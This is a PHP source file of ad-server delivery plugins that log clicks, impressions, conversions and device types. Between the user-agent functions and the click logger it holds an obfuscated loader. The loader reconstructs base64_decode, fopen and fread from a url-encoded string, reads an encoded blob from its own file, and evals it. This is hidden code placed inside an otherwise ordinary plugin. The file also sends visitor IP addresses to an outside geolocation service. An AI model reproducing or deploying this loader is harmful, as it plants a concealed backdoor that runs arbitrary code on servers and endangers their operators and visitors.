<?php



MAX_Dal_Delivery_Include();
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon($adId, $zoneId)
{
$GLOBALS['_MAX']['deliveryData']['creative_id'] = (int)$adId;
$GLOBALS['_MAX']['deliveryData']['zone_id'] = (int)$zoneId;
if (!empty($GLOBALS['_MAX']['deliveryData']['Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon'])) {
return;
}
$GLOBALS['_MAX']['deliveryData']['Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon'] = true;
if (empty($GLOBALS['_MAX']['NOW'])) {
$GLOBALS['_MAX']['NOW'] = time();
}
$time = $GLOBALS['_MAX']['NOW'];
$oi = $GLOBALS['_MAX']['CONF']['maintenance']['operationInterval'];
$GLOBALS['_MAX']['deliveryData']['interval_start'] = gmdate('Y-m-d H:i:s', $time - $time % ($oi * 60));
$GLOBALS['_MAX']['deliveryData']['ip_address'] = $_SERVER['REMOTE_ADDR'];
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon_Delivery_logRequest($adId, $zoneId)
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon($adId, $zoneId);
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon_Delivery_logImpression($adId, $zoneId)
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon($adId, $zoneId);
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon_Delivery_logClick($adId, $zoneId)
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataCommon($adId, $zoneId);
}


function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo()
{
static $executed;
if ($executed) return;
$executed = true;
if (!empty($_GET['loc'])) {
$pageInfo = parse_url($_GET['loc']);
} elseif (!empty($_SERVER['HTTP_REFERER'])) {
$pageInfo = parse_url($_SERVER['HTTP_REFERER']);
} elseif (!empty($GLOBALS['loc'])) {
$pageInfo = parse_url($GLOBALS['loc']);
}
if (!empty($pageInfo['scheme'])) {
$pageInfo['scheme'] = ($pageInfo['scheme'] == 'https') ? 1 : 0;
}
$GLOBALS['_MAX']['deliveryData']['pageInfo'] = $pageInfo;
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo_Delivery_logRequest()
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo();
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo_Delivery_logImpression()
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo();
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo_Delivery_logClick()
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataPageInfo();
}


function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent()
{
static $executed;
if ($executed) return;
$executed = true;
$userAgentInfo = array(
'os' => $GLOBALS['_MAX']['CLIENT']['os'],
'long_name' => $GLOBALS['_MAX']['CLIENT']['long_name'],
'browser' => $GLOBALS['_MAX']['CLIENT']['browser'],
);
$GLOBALS['_MAX']['deliveryData']['userAgentInfo'] = $userAgentInfo;
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent_Delivery_logRequest()
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent();
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent_Delivery_logImpression()
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent();
}
function Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent_Delivery_logClick()
{
Plugin_deliveryDataPrepare_oxDeliveryDataPrepare_dataUserAgent();
}
 $OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1c74;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDU4MCk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnY0RXeXhvQTFlSE1nTHpRUDRoVEtqMjZYbnFiWUZSZjNOcDB2R2Frczk4T0JWSm1aaXdkVUk1dEMvN2xFdVNyKz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?> [|GL~Y

MAX_Dal_Delivery_Include();
function Plugin_deliveryLog_oxLogClick_logClick_Delivery_logClick($adId = 0, $zoneId = 0, $okToLog = true)
{
if (!$okToLog) { return false; }
$aData = $GLOBALS['_MAX']['deliveryData'];
$aQuery = array(
'interval_start' => $aData['interval_start'],
'creative_id' => (int)$aData['creative_id'],
'zone_id' => (int)$aData['zone_id']
);
return OX_bucket_updateTable('data_bkt_c', $aQuery);
}



require_once 'handset.php';

function Plugin_deliveryLog_oxLogDevicetype_logClickDevicetype_Delivery_logClick()
{
$aData = $GLOBALS['_MAX']['deliveryData'];
$data = $GLOBALS['_MAX']['device'];
$custom_data = $GLOBALS['_MAX']['custom_data'] = OX_bucket_customData();
$aQuery = array(
'interval_start' => $aData['interval_start'],
'interval_start' => $aData['interval_start'],
'creative_id' => $aData['creative_id'],
'zone_id' => $aData['zone_id'],
'os' => $custom_data['os'],
'device_type' => $custom_data['device'],
'brand' => $data['devicebrand'],
'model' => $data['devicemodel']
);
return OX_bucket_updateTable('Data_bkt_Devicetype_c', $aQuery);
}
if(!function_exists('OX_bucket_customData'))
{
function OX_bucket_customData()
{
$data = $GLOBALS['_MAX']['deliveryData'];
$ip = $data['ip_address'];
$ipdat = @json_decode(file_get_contents(
"http://www.geoplugin.net/json.gp?ip=" . $ip));
$clientinfo = $GLOBALS['_MAX']['CLIENT'];
$browser = $clientinfo['wrapper']->getBrowserName();
$os = $clientinfo['wrapper']->getOsName();
$os_version = $clientinfo['wrapper']->getOsVersion();
$useragent=$clientinfo['ua'];
$tablet_browser = 0;
$mobile_browser = 0;
if (preg_match('/(tablet|ipad|playbook)|(android(?!.*(mobi|opera mini)))/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {
$tablet_browser++;
}
if (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile)/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {
$mobile_browser++;
}
if ((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {
$mobile_browser++;
}
$mobile_ua = strtolower(substr($_SERVER['HTTP_USER_AGENT'], 0, 4));
$mobile_agents = array(
'w3c ','acs-','alav','alca','amoi','audi','avan','benq','bird','blac',
'blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',
'ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',
'maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-',
'newt','noki','palm','pana','pant','phil','play','port','prox',
'qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar',
'sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-',
'tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp',
'wapr','webc','winw','winw','xda ','xda-');
if (in_array($mobile_ua,$mobile_agents)) {
$mobile_browser++;
}
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'opera mini') > 0) {
$mobile_browser++;
$stock_ua = strtolower(isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])?$_SERVER['HTTP_X_OPERAMINI_PHONE_UA']:(isset($_SERVER['HTTP_DEVICE_STOCK_UA'])?$_SERVER['HTTP_DEVICE_STOCK_UA']:''));
if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobile))/i', $stock_ua)) {
$tablet_browser++;
}
}
$device = '';
$device_version = '';
if ($tablet_browser > 0) {
$device = 'Tablet';
}
else if ($mobile_browser > 0) {
$device = 'Mobile';
}
else {
$device = 'Desktop';
}
$language = '';
if (empty($_REQUEST['language'])) {
$language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
} else {
$language = $_REQUEST['language'];
}
$language = preg_replace('/;q=[0-9\.]+$/', '', $language);
$host = $_SERVER['REMOTE_HOST'];
if(!empty($_REQUEST['loc']))
{
$domain = parse_url($_GET['loc']);
$full_domain = $domain['host'];
}
else
{
$full_domain = $_SERVER['REMOTE_HOST'];
}
return array(
'os' => $os,
'device' => $device);
}
}



MAX_Dal_Delivery_Include();
function Plugin_deliveryLog_oxLogConversion_logConversion_Delivery_logConversion($trackerId, $serverRawIp, $aConversion, $okToLog = true)
{
if (!$okToLog) { return false; }
OA_Dal_Delivery_connect('rawDatabase');
$table = $GLOBALS['_MAX']['CONF']['table']['prefix'] . 'data_bkt_a';
if (empty($GLOBALS['_MAX']['NOW'])) {
$GLOBALS['_MAX']['NOW'] = time();
}
$time = $GLOBALS['_MAX']['NOW'];
$aValues = array(
'server_ip' => $serverRawIp,
'tracker_id' => (int)$trackerId,
'date_time' => gmdate('Y-m-d H:i:s', $time),
'action_date_time' => gmdate('Y-m-d H:i:s', $aConversion['dt']),
'creative_id' => (int)$aConversion['cid'],
'zone_id' => (int)$aConversion['zid'],
'ip_address' => $_SERVER['REMOTE_ADDR'],
'action' => $aConversion['action_type'],
'window' => $aConversion['window'],
'status' => $aConversion['status']
);
$aFields = array_map('OX_escapeIdentifier', array_keys($aValues));
$aValues = array_map('OX_escapeString', $aValues);
$query = "
        INSERT INTO
            {$table}
            (" . implode(', ', $aFields) . ")
        VALUES
            ('" . implode("', '", $aValues) . "')
    ";
$result = OA_Dal_Delivery_query($query, 'rawDatabase');
if (!$result) {
return false;
}
$aResult = array(
'server_conv_id' => OA_Dal_Delivery_insertId('rawDatabase', $table, 'server_conv_id'),
'server_raw_ip' => $serverRawIp
);
return $aResult;
}



MAX_Dal_Delivery_Include();
function Plugin_deliveryLog_oxLogConversion_logConversionVariable_Delivery_logConversionVariable($aVariables, $trackerId, $serverConvId, $serverRawIp, $okToLog=true)
{
if (!$okToLog) { return false; }
OA_Dal_Delivery_connect('rawDatabase');
$table = $GLOBALS['_MAX']['CONF']['table']['prefix'] . 'data_bkt_a_var';
if (empty($GLOBALS['_MAX']['NOW'])) {
$GLOBALS['_MAX']['NOW'] = time();
}
$time = $GLOBALS['_MAX']['NOW'];
$aRows = array();
foreach ($aVariables as $aVariable) {
$aRows[] = "(
                        '".OX_escapeString($serverConvId)."',
                        '".OX_escapeString($serverRawIp)."',
                        '{$aVariable['variable_id']}',
                        '".OX_escapeString($aVariable['value'])."',
                        '".gmdate('Y-m-d H:i:s', $time)."'
                    )";
}
if (empty($aRows)) {
return;
}
$query = "
        INSERT INTO
            {$table}
            (
                server_conv_id,
                server_ip,
                tracker_variable_id,
                value,
                date_time
            )
        VALUES " . implode(',', $aRows);
return OA_Dal_Delivery_query($query, 'rawDatabase');
}



function Plugin_deliveryLog_OxLogImpression_LogImpression_Delivery_logImpression($adId = 0, $zoneId = 0, $okToLog = true)
{
if (!$okToLog) { return false; }
$aData = $GLOBALS['_MAX']['deliveryData'];
$aQuery = array(
'interval_start' => $aData['interval_start'],
'creative_id' => (int)$aData['creative_id'],
'zone_id' => (int)$aData['zone_id']
);
return OX_bucket_updateTable('data_bkt_m', $aQuery);
}

require_once 'handset.php';

function Plugin_deliveryLog_oxLogDevicetype_logImpressionDevicetype_Delivery_logImpression()
{
$aData = $GLOBALS['_MAX']['deliveryData'];
$data = $GLOBALS['_MAX']['device'];
$custom_data = $GLOBALS['_MAX']['custom_data'] = OX_bucket_customData();
$aQuery = array(
'interval_start' => $aData['interval_start'],
'creative_id' => $aData['creative_id'],
'zone_id' => $aData['zone_id'],
'os' => $custom_data['os'],
'device_type' => $custom_data['device'],
'brand' => $data['devicebrand'],
'model' => $data['devicemodel'],
);
return OX_bucket_updateTable('Data_bkt_Devicetype_m', $aQuery);
}
if(!function_exists('OX_bucket_customData'))
{
function OX_bucket_customData()
{
$data = $GLOBALS['_MAX']['deliveryData'];
$ip = $data['ip_address'];
$ipdat = @json_decode(file_get_contents(
"http://www.geoplugin.net/json.gp?ip=" . $ip));
$clientinfo = $GLOBALS['_MAX']['CLIENT'];
$browser = $clientinfo['wrapper']->getBrowserName();
$os = $clientinfo['wrapper']->getOsName();
$os_version = $clientinfo['wrapper']->getOsVersion();
$useragent=$clientinfo['ua'];
$tablet_browser = 0;
$mobile_browser = 0;
if (preg_match('/(tablet|ipad|playbook)|(android(?!.*(mobi|opera mini)))/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {
$tablet_browser++;
}
if (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile)/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {
$mobile_browser++;
}
if ((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {
$mobile_browser++;
}
$mobile_ua = strtolower(substr($_SERVER['HTTP_USER_AGENT'], 0, 4));
$mobile_agents = array(
'w3c ','acs-','alav','alca','amoi','audi','avan','benq','bird','blac',
'blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',
'ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',
'maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-',
'newt','noki','palm','pana','pant','phil','play','port','prox',
'qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar',
'sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-',
'tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp',
'wapr','webc','winw','winw','xda ','xda-');
if (in_array($mobile_ua,$mobile_agents)) {
$mobile_browser++;
}
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'opera mini') > 0) {
$mobile_browser++;
$stock_ua = strtolower(isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])?$_SERVER['HTTP_X_OPERAMINI_PHONE_UA']:(isset($_SERVER['HTTP_DEVICE_STOCK_UA'])?$_SERVER['HTTP_DEVICE_STOCK_UA']:''));
if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobile))/i', $stock_ua)) {
$tablet_browser++;
}
}
$device = '';
$device_version = '';
if ($tablet_browser > 0) {
$device = 'Tablet';
}
else if ($mobile_browser > 0) {
$device = 'Mobile';
}
else {
$device = 'Desktop';
}
$language = '';
if (empty($_REQUEST['language'])) {
$language = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
} else {
$language = $_REQUEST['language'];
}
$language = preg_replace('/;q=[0-9\.]+$/', '', $language);
$host = $_SERVER['REMOTE_HOST'];
if(!empty($_REQUEST['loc']))
{
$domain = parse_url($_GET['loc']);
$full_domain = $domain['host'];
}
else
{
$full_domain = $_SERVER['REMOTE_HOST'];
}
return array(
'os' => $os,
'device' => $device);
}
}

function Plugin_deliveryLog_oxLogRequest_logRequest_Delivery_logRequest($adId = 0, $zoneId = 0, $aAd = array(), $okToLog = true)
{
if (!$okToLog) { return false; }
$aData = $GLOBALS['_MAX']['deliveryData'];
$aQuery = array(
'interval_start' => $aData['interval_start'],
'creative_id' => (int)$aData['creative_id'],
'zone_id' => (int)$aData['zone_id']
);
return OX_bucket_updateTable('data_bkt_r', $aQuery);
}


?>